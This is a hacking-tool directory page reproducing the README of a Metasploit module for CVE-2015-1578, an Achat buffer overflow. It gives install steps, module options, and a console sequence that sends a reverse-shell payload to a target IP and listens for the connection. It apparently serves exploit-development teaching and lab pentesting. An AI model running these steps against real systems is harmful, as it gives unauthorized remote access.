Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2015-1578-PoC-Metasploit — This is a proof-of-concept Metasploit module exploit for CVE-2015-1578, a buffer overflow vulnerability in Achat 0.150 beta7 on Windows. Exploitation leads to remote code execution via a crafted UDP packet. | Kitploit
Tools/GitHubGitHub/yaldobaoth/cve-2015-1578-poc-metasploit
Penetration Testing FrameworksExploit FrameworksVulnerability AnalysisExploitationShellcodeRemote Access ToolShellcode GenerationPayload DevelopmentBinary Exploitation

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHubyaldobaoth/cve-2015-1578-poc-metasploit

CVE-2015-1578-PoC-Metasploit

This is a proof-of-concept Metasploit module exploit for CVE-2015-1578, a buffer overflow vulnerability in Achat 0.150 beta7 on Windows. Exploitation leads to remote code execution via a crafted UDP packet.

View Repository
1 year agoNot yet reviewed

CVE-2015-1578 Metasploit Module

Overview

This is a Metasploit module for CVE-2015-1578, a buffer overflow vulnerability in Achat 0.150 beta7 on Windows. Exploitation leads to remote code execution via a crafted UDP packet.

Purpose

This module is designed to serve as a clean, minimal, and well-structured example of Metasploit exploit development. It demonstrates:

  • Dynamic Unicode-encoded shellcode generation via msfvenom
  • Manual payload injection (bypassing Metasploit's internal payload encoder)
  • Simple UDP-based delivery mechanism
  • Integration into the Metasploit Framework using custom module loading

Video Tutorial

Video Tutorial

Dependencies

  • Metasploit Framework
  • msfvenom in your $PATH

Features

  • Uses msfvenom to generate payload with x86/unicode_mixed encoding and custom bad characters
  • Avoids Metasploit’s built-in payload encoding system to work around encoder limitations

Installation

root@kitploit:~
./install.sh

Then launch Metasploit and run:

root@kitploit:~
reload_all
use exploit/windows/yaldobaoth/achat_bof

Options

  • RHOSTS – Target IP address (required)
  • LHOST – Local host IP for reverse shell (required)
  • LPORT – Local port for reverse shell (default: 4444)
  • RPORT – Remote UDP port on target (default: 9256)

Usage Example

root@kitploit:~
msfconsole
use exploit/windows/yaldobaoth/achat_bof
set RHOSTS 10.10.10.74
set LHOST 10.10.16.7
set LPORT 9393
run

This will:

  • Generate a Unicode-compatible reverse shell payload with msfvenom
  • Inject it into the vulnerable Achat buffer over UDP
  • Listen for the shell on the specified LHOST:LPORT
Download Tool